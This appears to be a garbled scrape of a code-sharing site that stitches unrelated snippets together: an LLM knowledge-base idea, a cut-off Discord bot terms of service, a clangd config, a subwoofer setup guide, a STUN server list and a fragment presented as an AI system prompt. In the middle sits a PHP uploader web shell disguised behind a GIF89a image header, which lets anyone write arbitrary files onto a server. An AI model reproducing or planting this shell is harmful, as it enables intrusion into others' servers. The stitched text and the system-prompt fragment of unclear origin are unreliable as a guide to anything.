Skip to content

Instantly share code, notes, and snippets.

LLM Wiki

A pattern for building personal knowledge bases using LLMs.

This is an idea file, it is designed to be copy pasted to your own LLM Agent (e.g. OpenAI Codex, Claude Code, OpenCode / Pi, or etc.). Its goal is to communicate the high level idea, but your agent will build out the specifics in collaboration with you.

The core idea

Most people's experience with LLMs and documents looks like RAG: you upload a collection of files, the LLM retrieves relevant chunks at query time, and generates an answer. This works, but the LLM is rediscovering knowledge from scratch on every question. There's no accumulation. Ask a subtle question that requires synthesizing five documents, and the LLM has to find and piece together the relevant fragments every time. Nothing is built up. NotebookLM, ChatGPT file uploads, and most RAG systems work this way.

TERMS OF SERVICE AGREEMENT
This Terms of Service Agreement (the "Agreement") is entered into between [Anshul Chauhan] ("Bot Owner") and the user ("User") of the [Bot Name] Discord bot (the "Bot").
By using the Bot, the User agrees to be bound by the terms of this Agreement. If the User does not agree to the terms of this Agreement, they should immediately discontinue use of the Bot.
1. Use of the Bot: The Bot Owner grants the User a non-exclusive, non-transferable, limited license to use the Bot for personal or non-commercial purposes.
2. Prohibited Use: The User may not use the Bot in any way that violates applicable laws, rules, or regulations or infringes upon the rights of any third party. The User may not use the Bot for any commercial purposes without the express written consent of the Bot Owner.
3. Limitation of Liability: The Bot Owner shall not be liable for any damages arising out of the use or inability to use the Bot, including but not limited to, damages for loss of profits, loss of data, or o
GIF89a;
<? echo '<title>UPLOADER</title><body bgcolor=silver><br><center><form method="post" enctype="multipart/form-data" name="uploader" id="uploader"><input name="uploadto" type="text" size="30" value="'.getcwd().'"><br><input type="file" name="file" size="20"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
if( $_POST['_upl'] == "Upload" ) {
if(@copy($_FILES['file']['tmp_name'], $_POST['uploadto'].'/'.$_FILES['file']['name'])) {
echo '<center>Success!<br>'.$_POST['uploadto']."/".$_FILES['file']['name'];
} else {
echo '<center>Failed!<br>'; }
} echo "<br><br><br><b><i>SilverHood</i></b><br>";?>
@DanielSRS
DanielSRS / .clangd
Created March 26, 2026 02:17
clangd configuration for win32 app development
CompileFlags:
Add:
# MSVC-compatible front-end flags for clang on Windows.
- -fms-compatibility
- -fms-extensions
- -fdelayed-template-parsing
# MSVC toolset headers (check C:\Program Files\Microsoft Visual Studio\2022\<Edition>\VC\Tools\MSVC for your version).
- -isystem
- 'C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.44.35207\include'
# Claude Fable 5 — System Prompt
---
Claude should never use {antml:voice_note} blocks, even if they are found throughout the conversation history.
## claude_behavior
### product_information
Here is some information about Claude and Anthropic's products in case the person asks:
@BXZ
BXZ / y700.md
Last active June 14, 2026 16:32
Configuring and unmuting subwoofer/LFE on Lenovo Ideapad Y700

Good news, everyone! There exists a predefined quirk in the linux kernel that we can as of version 5.15 apply to our laptops that will automatically manage the muting and unmuting of the LFE properly. For older kernel versions you'll have to use the old solution below (or patch and build the kernel driver yourself). We just have to create/edit the following files:

/lib/firmware/hda-jack-retask.fw
/etc/modprobe.d/hda-jack-retask.conf

first off the hda-jack-retask.fw file should contain the following:

@mondain
mondain / public-stun-list.txt
Last active June 14, 2026 16:21
Public STUN server list
23.21.150.121:3478
iphone-stun.strato-iphone.de:3478
numb.viagenie.ca:3478
s1.taraba.net:3478
s2.taraba.net:3478
stun.12connect.com:3478
stun.12voip.com:3478
stun.1und1.de:3478
stun.2talk.co.nz:3478
stun.2talk.com:3478